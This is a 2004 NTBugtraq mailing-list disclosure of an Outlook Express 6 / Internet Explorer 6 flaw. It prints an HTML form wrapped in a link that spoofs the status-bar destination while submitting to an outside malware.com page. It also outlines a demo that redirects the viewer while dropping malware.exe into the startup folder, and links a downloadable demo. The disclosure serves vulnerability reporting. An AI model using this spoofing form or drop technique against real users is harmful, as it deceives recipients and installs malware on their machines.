NOT GOOD: Outlook Express 6 + Internet Explorer 6

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Date: 03/31/04

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    Date:         Wed, 31 Mar 2004 18:04:54 -0000
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

    Wednesday, March 31, 2004

    This is somewhat disconcerting. Reference the recently disclosed
    Internet Explorer 'bug' presently in the wild [original
    discussion: http://www.securityfocus.com/archive/1/358813 with
    additional input buried thereunder in subsequent threads]
    allowing for complete remote compromise of the client machine
    without any user interaction other than viewing a webpage,
    through yet again, the Microsoft Internet Explorer browser.

    A lot of 'chatter' or very bold claims 'having been the first to
    see this and analyse it' seem to have appeared recently that
    would make this particular bug well known for at least 6 weeks
    now. We must assume that these claimants had immediately
    notified the manufacturer of this particular device that allows
    for all of this immediately back then. Accordingly 6 weeks have
    transpired and to date all users of this particular merchant's
    product remain vulnerable.

    It still remains "unpatched".

    Perhaps to speed things up, the introduction of the Outlook
    Express email client from the same merchant might be necessary:

    Commence:

    Outlook Express number 6 has fairly stringent security settings
    in default mode, most notable, setting all actions in the so-
    called 'restricted zone'. This disallows such things as frames,
    scripting, objects etc.

    However it does allow from one interesting piece of html

    Forms:

    <A
    href="http://www.microsoft.com">
    <FORM action=http://www.malware.com/t-bill.html method=get>
    <INPUT style="BORDER-RIGHT: 0pt;
    BORDER-TOP: 0pt; FONT-SIZE: 10pt; BORDER-LEFT: 0pt; CURSOR:
    hand; COLOR:
    blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR: transparent;
    TEXT-DECORATION: underline" type=submit
    value=http://www.microsoft.com>
    </A>

    What is of particular interest is that if we encase our html
    form with a run-of-the-mill 'link', we are able to spoof in our
    status bar our true destination:

    [screen shot: http://www.malware.com/not-good.png 24KB]

    as well as re-style our form to suit our needs.

    What we then do is construct our original functional demo to:

    a) redirect immediately on loading to the 'suggested' address;
    that is http://www.microsoft.com
    b) at that instance [prior], drop our malware.exe into our
    startup folder for execution the next day

    while the recipient is blissfully unaware viewing the site as
    indicated.

    Fully Functional Harmless Demo:

    http://www.malware.com/not-so-good.zip

    note: regardless of where this is viewed, it is governed by
    the 'restricted zone' at all times

    In this particular demo, we drop malware.exe into C: trivial
    tweaking via shell or full path places it wherever we like. This
    fully functional demo is heavily diluted. Practical
    implementation requires minor modifications on the
    transmitting client side. This demo will be flagged by AV suites
    owing to past usage and recognisable code.

    End Call 

    --
http://www.malware.com
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